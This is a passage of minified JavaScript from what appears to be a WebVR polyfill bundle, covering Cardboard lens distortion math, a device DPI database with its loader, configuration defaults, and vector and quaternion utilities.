e.FRAMEBUFFER_BINDING:e.bindFramebuffer(e.FRAMEBUFFER,c);break;case e.RENDERBUFFER_BINDING:e.bindRenderbuffer(e.RENDERBUFFER,c);break;case e.TEXTURE_BINDING_2D:var s=t[++o];if(s<e.TEXTURE0||s>e.TEXTURE31)break;e.activeTexture(s),e.bindTexture(e.TEXTURE_2D,c);break;case e.TEXTURE_BINDING_CUBE_MAP:var s=t[++o];if(s<e.TEXTURE0||s>e.TEXTURE31)break;e.activeTexture(s),e.bindTexture(e.TEXTURE_CUBE_MAP,c);break;case e.VIEWPORT:e.viewport(c[0],c[1],c[2],c[3]);break;case e.BLEND:case e.CULL_FACE:case e.DEPTH_TEST:case e.SCISSOR_TEST:case e.STENCIL_TEST:c?e.enable(a):e.disable(a);break;default:console.log("No GL restore behavior for 0x"+a.toString(16))}n&&e.activeTexture(n)}}t.exports=i},{}],9:[function(e,t){function i(e){this.width=e.width||s.getScreenWidth(),this.height=e.height||s.getScreenHeight(),this.widthMeters=e.widthMeters,this.heightMeters=e.heightMeters,this.bevelMeters=e.bevelMeters}function r(e){this.viewer=l.CardboardV2,this.updateDeviceParams(e),this.distortion=new o(this.viewer.distortionCoefficients)}function n(e){this.id=e.id,this.label=e.label,this.fov=e.fov,this.interLensDistance=e.interLensDistance,this.baselineLensDistance=e.baselineLensDistance,this.screenLensDistance=e.screenLensDistance,this.distortionCoefficients=e.distortionCoefficients,this.inverseCoefficients=e.inverseCoefficients}var o=e("./distortion/distortion.js"),a=e("./math-util.js"),s=e("./util.js"),c=new i({widthMeters:.11,heightMeters:.062,bevelMeters:.004}),u=new i({widthMeters:.1038,heightMeters:.0584,bevelMeters:.004}),l={CardboardV1:new n({id:"CardboardV1",label:"Cardboard I/O 2014",fov:40,interLensDistance:.06,baselineLensDistance:.035,screenLensDistance:.042,distortionCoefficients:[.441,.156],inverseCoefficients:[-.4410035,.42756155,-.4804439,.5460139,-.58821183,.5733938,-.48303202,.33299083,-.17573841,.0651772,-.01488963,.001559834]}),CardboardV2:new n({id:"CardboardV2",label:"Cardboard I/O 2015",fov:60,interLensDistance:.064,baselineLensDistance:.035,screenLensDistance:.039,distortionCoefficients:[.34,.55],inverseCoefficients:[-.33836704,-.18162185,.862655,-1.2462051,1.0560602,-.58208317,.21609078,-.05444823,.009177956,-.0009904169,6183535e-11,-16981803e-13]})};r.prototype.updateDeviceParams=function(e){this.device=this.determineDevice_(e)||this.device},r.prototype.getDevice=function(){return this.device},r.prototype.setViewer=function(e){this.viewer=e,this.distortion=new o(this.viewer.distortionCoefficients)},r.prototype.determineDevice_=function(e){if(!e)return s.isIOS()?(console.warn("Using fallback iOS device measurements."),u):(console.warn("Using fallback Android device measurements."),c);var t=.0254,r=t/e.xdpi,n=t/e.ydpi,o=s.getScreenWidth(),a=s.getScreenHeight();return new i({widthMeters:r*o,heightMeters:n*a,bevelMeters:.001*e.bevelMm})},r.prototype.getDistortedFieldOfViewLeftEye=function(){var e=this.viewer,t=this.device,i=this.distortion,r=e.screenLensDistance,n=(t.widthMeters-e.interLensDistance)/2,o=e.interLensDistance/2,s=e.baselineLensDistance-t.bevelMeters,c=t.heightMeters-s,u=a.radToDeg*Math.atan(i.distort(n/r)),l=a.radToDeg*Math.atan(i.distort(o/r)),h=a.radToDeg*Math.atan(i.distort(s/r)),d=a.radToDeg*Math.atan(i.distort(c/r));return{leftDegrees:Math.min(u,e.fov),rightDegrees:Math.min(l,e.fov),downDegrees:Math.min(h,e.fov),upDegrees:Math.min(d,e.fov)}},r.prototype.getLeftEyeVisibleTanAngles=function(){var e=this.viewer,t=this.device,i=this.distortion,r=Math.tan(-a.degToRad*e.fov),n=Math.tan(a.degToRad*e.fov),o=Math.tan(a.degToRad*e.fov),s=Math.tan(-a.degToRad*e.fov),c=t.widthMeters/4,u=t.heightMeters/2,l=e.baselineLensDistance-t.bevelMeters-u,h=e.interLensDistance/2-c,d=-l,p=e.screenLensDistance,f=i.distort((h-c)/p),m=i.distort((d+u)/p),g=i.distort((h+c)/p),v=i.distort((d-u)/p),y=new Float32Array(4);return y[0]=Math.max(r,f),y[1]=Math.min(n,m),y[2]=Math.min(o,g),y[3]=Math.max(s,v),y},r.prototype.getLeftEyeNoLensTanAngles=function(){var e=this.viewer,t=this.device,i=this.distortion,r=new Float32Array(4),n=i.distortInverse(Math.tan(-a.degToRad*e.fov)),o=i.distortInverse(Math.tan(a.degToRad*e.fov)),s=i.distortInverse(Math.tan(a.degToRad*e.fov)),c=i.distortInverse(Math.tan(-a.degToRad*e.fov)),u=t.widthMeters/4,l=t.heightMeters/2,h=e.baselineLensDistance-t.bevelMeters-l,d=e.interLensDistance/2-u,p=-h,f=e.screenLensDistance,m=(d-u)/f,g=(p+l)/f,v=(d+u)/f,y=(p-l)/f;return r[0]=Math.max(n,m),r[1]=Math.min(o,g),r[2]=Math.min(s,v),r[3]=Math.max(c,y),r},r.prototype.getLeftEyeVisibleScreenRect=function(e){var t=this.viewer,i=this.device,r=t.screenLensDistance,n=(i.widthMeters-t.interLensDistance)/2,o=t.baselineLensDistance-i.bevelMeters,a=(e[0]*r+n)/i.widthMeters,s=(e[1]*r+o)/i.heightMeters,c=(e[2]*r+n)/i.widthMeters,u=(e[3]*r+o)/i.heightMeters;return{x:a,y:u,width:c-a,height:s-u}},r.prototype.getFieldOfViewLeftEye=function(e){return e?this.getUndistortedFieldOfViewLeftEye():this.getDistortedFieldOfViewLeftEye()},r.prototype.getFieldOfViewRightEye=function(e){var t=this.getFieldOfViewLeftEye(e);return{leftDegrees:t.rightDegrees,rightDegrees:t.leftDegrees,upDegrees:t.upDegrees,downDegrees:t.downDegrees}},r.prototype.getUndistortedFieldOfViewLeftEye=function(){var e=this.getUndistortedParams_();return{leftDegrees:a.radToDeg*Math.atan(e.outerDist),rightDegrees:a.radToDeg*Math.atan(e.innerDist),downDegrees:a.radToDeg*Math.atan(e.bottomDist),upDegrees:a.radToDeg*Math.atan(e.topDist)}},r.prototype.getUndistortedViewportLeftEye=function(){var e=this.getUndistortedParams_(),t=this.viewer,i=this.device,r=t.screenLensDistance,n=i.widthMeters/r,o=i.heightMeters/r,a=i.width/n,s=i.height/o,c=Math.round((e.eyePosX-e.outerDist)*a),u=Math.round((e.eyePosY-e.bottomDist)*s);return{x:c,y:u,width:Math.round((e.eyePosX+e.innerDist)*a)-c,height:Math.round((e.eyePosY+e.topDist)*s)-u}},r.prototype.getUndistortedParams_=function(){var e=this.viewer,t=this.device,i=this.distortion,r=e.screenLensDistance,n=e.interLensDistance/2/r,o=t.widthMeters/r,s=t.heightMeters/r,c=o/2-n,u=(e.baselineLensDistance-t.bevelMeters)/r,l=e.fov,h=i.distortInverse(Math.tan(a.degToRad*l)),d=Math.min(c,h),p=Math.min(n,h),f=Math.min(u,h),m=Math.min(s-u,h);return{outerDist:d,innerDist:p,topDist:m,bottomDist:f,eyePosX:c,eyePosY:u}},r.Viewers=l,t.exports=r},{"./distortion/distortion.js":11,"./math-util.js":16,"./util.js":24}],10:[function(e,t){function i(e){this.display=e,this.hardwareUnitId=e.displayId,this.deviceId="webvr-polyfill:HMD:"+e.displayId,this.deviceName=e.displayName+" (HMD)"}function r(e){this.display=e,this.hardwareUnitId=e.displayId,this.deviceId="webvr-polyfill:PositionSensor: "+e.displayId,this.deviceName=e.displayName+" (PositionSensor)"}var n=(e("./base.js").VRDisplay,e("./base.js").HMDVRDevice),o=e("./base.js").PositionSensorVRDevice;i.prototype=new n,i.prototype.getEyeParameters=function(e){var t=this.display.getEyeParameters(e);return{currentFieldOfView:t.fieldOfView,maximumFieldOfView:t.fieldOfView,minimumFieldOfView:t.fieldOfView,recommendedFieldOfView:t.fieldOfView,eyeTranslation:{x:t.offset[0],y:t.offset[1],z:t.offset[2]},renderRect:{x:"right"==e?t.renderWidth:0,y:0,width:t.renderWidth,height:t.renderHeight}}},i.prototype.setFieldOfView=function(){},r.prototype=new o,r.prototype.getState=function(){var e=this.display.getPose();return{position:e.position?{x:e.position[0],y:e.position[1],z:e.position[2]}:null,orientation:e.orientation?{x:e.orientation[0],y:e.orientation[1],z:e.orientation[2],w:e.orientation[3]}:null,linearVelocity:null,linearAcceleration:null,angularVelocity:null,angularAcceleration:null}},r.prototype.resetState=function(){return this.positionDevice.resetPose()},t.exports.VRDisplayHMDDevice=i,t.exports.VRDisplayPositionSensorDevice=r},{"./base.js":4}],11:[function(e,t){function i(e){this.coefficients=e}i.prototype.distortInverse=function(e){for(var t=0,i=1,r=e-this.distort(t);Math.abs(i-t)>1e-4;){var n=e-this.distort(i),o=i-n*((i-t)/(n-r));t=i,i=o,r=n}return i},i.prototype.distort=function(e){for(var t=e*e,i=0,r=0;r<this.coefficients.length;r++)i=t*(i+this.coefficients[r]);return(i+1)*e},i.prototype.solveLinear_=function(e,t){for(var i=e.length,r=0;i-1>r;++r)for(var n=r+1;i>n;++n){for(var o=e[r][n]/e[r][r],a=r+1;i>a;++a)e[a][n]-=o*e[a][r];t[n]-=o*t[r]}for(var s=new Array(i),r=i-1;r>=0;--r){for(var c=t[r],a=r+1;i>a;++a)c-=e[a][r]*s[a];s[r]=c/e[r][r]}return s},i.prototype.solveLeastSquares_=function(e,t){var i,r,n,o,a=e.length,s=e[0].length;if(a!=t.Length)throw new Error("Matrix / vector dimension mismatch");var c=new Array(s);for(n=0;s>n;++n)for(c[n]=new Array(s),r=0;s>r;++r){for(o=0,i=0;a>i;++i)o+=e[r][i]*e[n][i];c[n][r]=o}var u=new Array(s);for(r=0;s>r;++r){for(o=0,i=0;a>i;++i)o+=e[r][i]*t[i];u[r]=o}return this.solveLinear_(c,u)},i.prototype.approximateInverse=function(e,t){e=e||1,t=t||100;var r,n,o=6,a=new Array(o);for(n=0;o>n;++n)a[n]=new Array(t);var s=new Array(t);for(r=0;t>r;++r){var c=e*(r+1)/t,u=this.distort(c),l=u;for(n=0;o>n;++n)l*=u*u,a[n][r]=l;s[r]=c-u}var h=this.solveLeastSquares_(a,s);return new i(h)},t.exports=i},{}],12:[function(e,t){var i={format:1,last_updated:"2016-01-20T00:18:35Z",devices:[{type:"android",rules:[{mdmh:"asus/*/Nexus 7/*"},{ua:"Nexus 7"}],dpi:[320.8,323],bw:3,ac:500},{type:"android",rules:[{mdmh:"asus/*/ASUS_Z00AD/*"},{ua:"ASUS_Z00AD"}],dpi:[403,404.6],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"HTC/*/HTC6435LVW/*"},{ua:"HTC6435LVW"}],dpi:[449.7,443.3],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"HTC/*/HTC One XL/*"},{ua:"HTC One XL"}],dpi:[315.3,314.6],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"htc/*/Nexus 9/*"},{ua:"Nexus 9"}],dpi:289,bw:3,ac:500},{type:"android",rules:[{mdmh:"HTC/*/HTC One M9/*"},{ua:"HTC One M9"}],dpi:[442.5,443.3],bw:3,ac:500},{type:"android",rules:[{mdmh:"HTC/*/HTC One_M8/*"},{ua:"HTC One_M8"}],dpi:[449.7,447.4],bw:3,ac:500},{type:"android",rules:[{mdmh:"HTC/*/HTC One/*"},{ua:"HTC One"}],dpi:472.8,bw:3,ac:1e3},{type:"android",rules:[{mdmh:"Huawei/*/Nexus 6P/*"},{ua:"Nexus 6P"}],dpi:[515.1,518],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"LGE/*/Nexus 5X/*"},{ua:"Nexus 5X"}],dpi:[422,419.9],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"LGE/*/LGMS345/*"},{ua:"LGMS345"}],dpi:[221.7,219.1],bw:3,ac:500},{type:"android",rules:[{mdmh:"LGE/*/LG-D800/*"},{ua:"LG-D800"}],dpi:[422,424.1],bw:3,ac:500},{type:"android",rules:[{mdmh:"LGE/*/LG-D850/*"},{ua:"LG-D850"}],dpi:[537.9,541.9],bw:3,ac:500},{type:"android",rules:[{mdmh:"LGE/*/VS985 4G/*"},{ua:"VS985 4G"}],dpi:[537.9,535.6],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"LGE/*/Nexus 5/*"},{ua:"Nexus 5 "}],dpi:[442.4,444.8],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"LGE/*/Nexus 4/*"},{ua:"Nexus 4"}],dpi:[319.8,318.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"LGE/*/LG-P769/*"},{ua:"LG-P769"}],dpi:[240.6,247.5],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"LGE/*/LGMS323/*"},{ua:"LGMS323"}],dpi:[206.6,204.6],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"LGE/*/LGLS996/*"},{ua:"LGLS996"}],dpi:[403.4,401.5],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"Micromax/*/4560MMX/*"},{ua:"4560MMX"}],dpi:[240,219.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"Micromax/*/A250/*"},{ua:"Micromax A250"}],dpi:[480,446.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"Micromax/*/Micromax AQ4501/*"},{ua:"Micromax AQ4501"}],dpi:240,bw:3,ac:500},{type:"android",rules:[{mdmh:"motorola/*/DROID RAZR/*"},{ua:"DROID RAZR"}],dpi:[368.1,256.7],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"motorola/*/XT830C/*"},{ua:"XT830C"}],dpi:[254,255.9],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"motorola/*/XT1021/*"},{ua:"XT1021"}],dpi:[254,256.7],bw:3,ac:500},{type:"android",rules:[{mdmh:"motorola/*/XT1023/*"},{ua:"XT1023"}],dpi:[254,256.7],bw:3,ac:500},{type:"android",rules:[{mdmh:"motorola/*/XT1028/*"},{ua:"XT1028"}],dpi:[326.6,327.6],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"motorola/*/XT1034/*"},{ua:"XT1034"}],dpi:[326.6,328.4],bw:3,ac:500},{type:"android",rules:[{mdmh:"motorola/*/XT1053/*"},{ua:"XT1053"}],dpi:[315.3,316.1],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"motorola/*/XT1562/*"},{ua:"XT1562"}],dpi:[403.4,402.7],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"motorola/*/Nexus 6/*"},{ua:"Nexus 6 "}],dpi:[494.3,489.7],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"motorola/*/XT1063/*"},{ua:"XT1063"}],dpi:[295,296.6],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"motorola/*/XT1064/*"},{ua:"XT1064"}],dpi:[295,295.6],bw:3,ac:500},{type:"android",rules:[{mdmh:"motorola/*/XT1092/*"},{ua:"XT1092"}],dpi:[422,424.1],bw:3,ac:500},{type:"android",rules:[{mdmh:"motorola/*/XT1095/*"},{ua:"XT1095"}],dpi:[422,423.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"OnePlus/*/A0001/*"},{ua:"A0001"}],dpi:[403.4,401],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"OnePlus/*/ONE E1005/*"},{ua:"ONE E1005"}],dpi:[442.4,441.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"OnePlus/*/ONE A2005/*"},{ua:"ONE A2005"}],dpi:[391.9,405.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"OPPO/*/X909/*"},{ua:"X909"}],dpi:[442.4,444.1],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/GT-I9082/*"},{ua:"GT-I9082"}],dpi:[184.7,185.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-G360P/*"},{ua:"SM-G360P"}],dpi:[196.7,205.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/Nexus S/*"},{ua:"Nexus S"}],dpi:[234.5,229.8],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/GT-I9300/*"},{ua:"GT-I9300"}],dpi:[304.8,303.9],bw:5,ac:500},{type:"android",rules:[{mdmh:"samsung/*/SM-T230NU/*"},{ua:"SM-T230NU"}],dpi:216,bw:3,ac:500},{type:"android",rules:[{mdmh:"samsung/*/SGH-T399/*"},{ua:"SGH-T399"}],dpi:[217.7,231.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-N9005/*"},{ua:"SM-N9005"}],dpi:[386.4,387],bw:3,ac:500},{type:"android",rules:[{mdmh:"samsung/*/SAMSUNG-SM-N900A/*"},{ua:"SAMSUNG-SM-N900A"}],dpi:[386.4,387.7],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/GT-I9500/*"},{ua:"GT-I9500"}],dpi:[442.5,443.3],bw:3,ac:500},{type:"android",rules:[{mdmh:"samsung/*/GT-I9505/*"},{ua:"GT-I9505"}],dpi:439.4,bw:4,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-G900F/*"},{ua:"SM-G900F"}],dpi:[415.6,431.6],bw:5,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-G900M/*"},{ua:"SM-G900M"}],dpi:[415.6,431.6],bw:5,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-G800F/*"},{ua:"SM-G800F"}],dpi:326.8,bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-G906S/*"},{ua:"SM-G906S"}],dpi:[562.7,572.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/GT-I9300/*"},{ua:"GT-I9300"}],dpi:[306.7,304.8],bw:5,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-T535/*"},{ua:"SM-T535"}],dpi:[142.6,136.4],bw:3,ac:500},{type:"android",rules:[{mdmh:"samsung/*/SM-N920C/*"},{ua:"SM-N920C"}],dpi:[515.1,518.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/GT-I9300I/*"},{ua:"GT-I9300I"}],dpi:[304.8,305.8],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/GT-I9195/*"},{ua:"GT-I9195"}],dpi:[249.4,256.7],bw:3,ac:500},{type:"android",rules:[{mdmh:"samsung/*/SPH-L520/*"},{ua:"SPH-L520"}],dpi:[249.4,255.9],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SAMSUNG-SGH-I717/*"},{ua:"SAMSUNG-SGH-I717"}],dpi:285.8,bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SPH-D710/*"},{ua:"SPH-D710"}],dpi:[217.7,204.2],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/GT-N7100/*"},{ua:"GT-N7100"}],dpi:265.1,bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SCH-I605/*"},{ua:"SCH-I605"}],dpi:265.1,bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/Galaxy Nexus/*"},{ua:"Galaxy Nexus"}],dpi:[315.3,314.2],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-N910H/*"},{ua:"SM-N910H"}],dpi:[515.1,518],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-N910C/*"},{ua:"SM-N910C"}],dpi:[515.2,520.2],bw:3,ac:500},{type:"android",rules:[{mdmh:"samsung/*/SM-G130M/*"},{ua:"SM-G130M"}],dpi:[165.9,164.8],bw:3,ac:500},{type:"android",rules:[{mdmh:"samsung/*/SM-G928I/*"},{ua:"SM-G928I"}],dpi:[515.1,518.4],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-G920F/*"},{ua:"SM-G920F"}],dpi:580.6,bw:3,ac:500},{type:"android",rules:[{mdmh:"samsung/*/SM-G920P/*"},{ua:"SM-G920P"}],dpi:[522.5,577],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"samsung/*/SM-G925F/*"},{ua:"SM-G925F"}],dpi:580.6,bw:3,ac:500},{type:"android",rules:[{mdmh:"samsung/*/SM-G925V/*"},{ua:"SM-G925V"}],dpi:[522.5,576.6],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"Sony/*/C6903/*"},{ua:"C6903"}],dpi:[442.5,443.3],bw:3,ac:500},{type:"android",rules:[{mdmh:"Sony/*/D6653/*"},{ua:"D6653"}],dpi:[428.6,427.6],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"Sony/*/E6653/*"},{ua:"E6653"}],dpi:[428.6,425.7],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"Sony/*/E6853/*"},{ua:"E6853"}],dpi:[403.4,401.9],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"Sony/*/SGP321/*"},{ua:"SGP321"}],dpi:[224.7,224.1],bw:3,ac:500},{type:"android",rules:[{mdmh:"TCT/*/ALCATEL ONE TOUCH Fierce/*"},{ua:"ALCATEL ONE TOUCH Fierce"}],dpi:[240,247.5],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"THL/*/thl 5000/*"},{ua:"thl 5000"}],dpi:[480,443.3],bw:3,ac:1e3},{type:"android",rules:[{mdmh:"ZTE/*/ZTE Blade L2/*"},{ua:"ZTE Blade L2"}],dpi:240,bw:3,ac:500},{type:"ios",rules:[{res:[640,960]}],dpi:[325.1,328.4],bw:4,ac:1e3},{type:"ios",rules:[{res:[640,960]}],dpi:[325.1,328.4],bw:4,ac:1e3},{type:"ios",rules:[{res:[640,1136]}],dpi:[317.1,320.2],bw:3,ac:1e3},{type:"ios",rules:[{res:[640,1136]}],dpi:[317.1,320.2],bw:3,ac:1e3},{type:"ios",rules:[{res:[750,1334]}],dpi:326.4,bw:4,ac:1e3},{type:"ios",rules:[{res:[750,1334]}],dpi:326.4,bw:4,ac:1e3},{type:"ios",rules:[{res:[1242,2208]}],dpi:[453.6,458.4],bw:4,ac:1e3},{type:"ios",rules:[{res:[1242,2208]}],dpi:[453.6,458.4],bw:4,ac:1e3}]};t.exports=i},{}],13:[function(e,t){function i(e,t){if(this.dpdb=n,this.recalculateDeviceParams_(),e){this.onDeviceParamsUpdated=t,console.log("Fetching DPDB...");var i=new XMLHttpRequest,r=this;i.open("GET",a,!0),i.addEventListener("load",function(){r.loading=!1,i.status>=200&&i.status<=299?(console.log("Successfully loaded online DPDB."),r.dpdb=JSON.parse(i.response),r.recalculateDeviceParams_()):console.error("Error loading online DPDB!")}),i.send()}}function r(e){this.xdpi=e.xdpi,this.ydpi=e.ydpi,this.bevelMm=e.bevelMm}var n=e("./dpdb-cache.js"),o=e("../util.js"),a="path_to_url";i.prototype.getDeviceParams=function(){return this.deviceParams},i.prototype.recalculateDeviceParams_=function(){console.log("Recalculating device params.");var e=this.calcDeviceParams_();console.log("New device parameters:"),console.log(e),e?(this.deviceParams=e,this.onDeviceParamsUpdated&&this.onDeviceParamsUpdated(this.deviceParams)):console.error("Failed to recalculate device parameters.")},i.prototype.calcDeviceParams_=function(){var e=this.dpdb;if(!e)return console.error("DPDB not available."),null;if(1!=e.format)return console.error("DPDB has unexpected format version."),null;if(!e.devices||!e.devices.length)return console.error("DPDB does not have a devices section."),null;var t=navigator.userAgent||navigator.vendor||window.opera,i=o.getScreenWidth(),n=o.getScreenHeight();if(console.log("User agent: "+t),console.log("Pixel width: "+i),console.log("Pixel height: "+n),!e.devices)return console.error("DPDB has no devices section."),null;for(var a=0;a<e.devices.length;a++){var s=e.devices[a];if(s.rules)if("ios"==s.type||"android"==s.type){if(o.isIOS()==("ios"==s.type)){for(var c=!1,u=0;u<s.rules.length;u++){var l=s.rules[u];if(this.matchRule_(l,t,i,n)){console.log("Rule matched:"),console.log(l),c=!0;break}}if(c){var h=s.dpi[0]||s.dpi,d=s.dpi[1]||s.dpi;return new r({xdpi:h,ydpi:d,bevelMm:s.bw})}}}else console.warn("Device["+a+"] has invalid type.");else console.warn("Device["+a+"] has no rules section.")}return console.warn("No DPDB device match."),null},i.prototype.matchRule_=function(e,t,i,r){if(!e.ua&&!e.res)return!1;if(e.ua&&t.indexOf(e.ua)<0)return!1;if(e.res){if(!e.res[0]||!e.res[1])return!1;var n=e.res[0],o=e.res[1];if(Math.min(i,r)!=Math.min(n,o)||Math.max(i,r)!=Math.max(n,o))return!1}return!0},t.exports=i},{"../util.js":24,"./dpdb-cache.js":12}],14:[function(e,t){function i(){this.callbacks={}}i.prototype.emit=function(e){var t=this.callbacks[e];if(t){var i=[].slice.call(arguments);i.shift();for(var r=0;r<t.length;r++)t[r].apply(this,i)}},i.prototype.on=function(e,t){e in this.callbacks?this.callbacks[e].push(t):this.callbacks[e]=[t]},t.exports=i},{}],15:[function(e){var t=e("./util.js"),i=e("./webvr-polyfill.js");window.WebVRConfig=t.extend({FORCE_ENABLE_VR:!1,K_FILTER:.98,PREDICTION_TIME_S:.04,TOUCH_PANNER_DISABLED:!1,CARDBOARD_UI_DISABLED:!1,ROTATE_INSTRUCTIONS_DISABLED:!1,YAW_ONLY:!1,MOUSE_KEYBOARD_CONTROLS_DISABLED:!1,DEFER_INITIALIZATION:!1,ENABLE_DEPRECATED_API:!1,BUFFER_SCALE:.5,DIRTY_SUBMIT_FRAME_BINDINGS:!1},window.WebVRConfig),window.WebVRConfig.DEFER_INITIALIZATION?window.InitializeWebVRPolyfill=function(){new i}:new i},{"./util.js":24,"./webvr-polyfill.js":27}],16:[function(e,t){var i=window.MathUtil||{};i.degToRad=Math.PI/180,i.radToDeg=180/Math.PI,i.Vector2=function(e,t){this.x=e||0,this.y=t||0},i.Vector2.prototype={constructor:i.Vector2,set:function(e,t){return this.x=e,this.y=t,this},copy:function(e){return this.x=e.x,this.y=e.y,this},subVectors:function(e,t){return this.x=e.x-t.x,this.y=e.y-t.y,this}},i.Vector3=function(e,t,i){this.x=e||0,this.y=t||0,this.z=i||0},i.Vector3.prototype={constructor:i.Vector3,set:function(e,t,i){return this.x=e,this.y=t,this.z=i,this},copy:function(e){return this.x=e.x,this.y=e.y,this.z=e.z,this},length:function(){return Math.sqrt(this.x*this.x+this.y*this.y+this.z*this.z)},normalize:function(){var e=this.length();if(0!==e){var t=1/e;this.multiplyScalar(t)}else this.x=0,this.y=0,this.z=0;return this},multiplyScalar:function(e){this.x*=e,this.y*=e,this.z*=e},applyQuaternion:function(e){var t=this.x,i=this.y,r=this.z,n=e.x,o=e.y,a=e.z,s=e.w,c=s*t+o*r-a*i,u=s*i+a*t-n*r,l=s*r+n*i-o*t,h=-n*t-o*i-a*r;return this.x=c*s+h*-n+u*-a-l*-o,this.y=u*s+h*-o+l*-n-c*-a,this.z=l*s+h*-a+c*-o-u*-n,this},dot:function(e){return this.x*e.x+this.y*e.y+this.z*e.z},crossVectors:function(e,t){var i=e.x,r=e.y,n=e.z,o=t.x,a=t.y,s=t.z;return this.x=r*s-n*a,this.y=n*o-i*s,this.z=i*a-r*o,this}},i.Quaternion=function(e,t,i,r){this.x=e||0,this.y=t||0,this.z=i||0,this.w=void 0!==r?r:1},i.Quaternion.prototype={constructor:i.Quaternion,set:function(e,t,i,r){return this.x=e,this.y=t,this.z=i,this.w=r,this},copy:function(e){return this.x=e.x,this.y=e.y,this.z=e.z,this.w=e.w,this},setFromEulerXYZ:function(e,t,i){var r=Math.cos(e/2),n=Math.cos(t/2),o=Math.cos(i/2),a=Math.sin(e/2),s=Math.sin(t/2),c=Math.sin(i/2);return this.x=a*n*o+r*s*c,this.y=r*s*o-a*n*c,this.z=r*n*c+a*s*o,this.w=r*n*o-a*s*c,this},setFromEulerYXZ:function(e,t,i){var r=Math.cos(e/2),n=Math.cos(t/2),o=Math.cos(i/2),a=Math.sin(e/2),s=Math.sin(t/2),c=Math.sin(i/2);return this.x=a*n*o+r*s*c,this.y=r*s*o-a*n*c,this.z=r*n*c-a*s*o,this.w=r*n*o+a*s*c,this},setFromAxisAngle:function(e,t){var i=t/2,r=Math.sin(i);return this.x=e.x*r,this.y=e.y*r,this.z=e.z*r,this.w=Math.cos(i),this},multiply:function(e){return this.multiplyQuaternions(this,e)},multiplyQuaternions:function(e,t){var i=e.x,r=e.y,n=e.z,o=e.w,a=t.x,s=t.y,c=t.z,u=t.w;return this.x=i*u+o*a+r*c-n*s,this.y=r*u+o*s+n*a-i*c,this.z=n*u+o*c+i*s-r*a,this.w=o*u-i*a-r*s-n*c,this},inverse:function(){return this.x*=-1,this.y*=-1,this.z*=-1,this.normalize(),this},normalize:function(){var e=Math.sqrt(this.x*this.x+this.y*this.y+this.z*this.z+this.w*this.w);return 0===e?(this.x=0,this.y=0,this.z=0,this.w=1):(e=1/e,this.x=this.x*e,this.y=this.y*e,this.z=this.z*e,this.w=this.w*e),this},slerp:function(e,t){if(0===t)return this;if(1===t)return this.copy(e);var i=this.x,r=this.y,n=this.z,o=this.w,a=o*e.w+i*e.x+r*e.y+n*e.z;
if(0>a?(this.w=-e.w,this.x=-e.x,this.y=-e.y,this.z=-e.z,a=-a):this.copy(e),a>=1)return this.w=o,this.x=i,this.y=r,this.z=n,this;var s=Math.acos(a),c=Math.sqrt(1-a*a);if(Math.abs(c)<.001)return this.w=.5*(o+this.w),this.x=.5*(i+this.x),this.y=.5*(r+this.y),this.z=.5*(n+this.z),this;var u=Math.sin((1-t)*s)/c,l=Math.sin(t*s)/c;return this.w=o*u+this.w*l,this.x=i*u+this.x*l,this.y=r*u+this.y*l,this.z=n*u+this.z*l,this},setFromUnitVectors:function(){var e,t,r=1e-6;return function(n,o){return void 0===e&&(e=new i.Vector3),t=n.dot(o)+1,r>t?(t=0,Math.abs(n.x)>Math.abs(n.z)?e.set(-n.y,n.x,0):e.set(0,-n.z,n.y)):e.crossVectors(n,o),this.x=e.x,this.y=e.y,this.z=e.z,this.w=t,this.normalize(),this}}()},t.exports=i},{}],17:[function(e,t){function 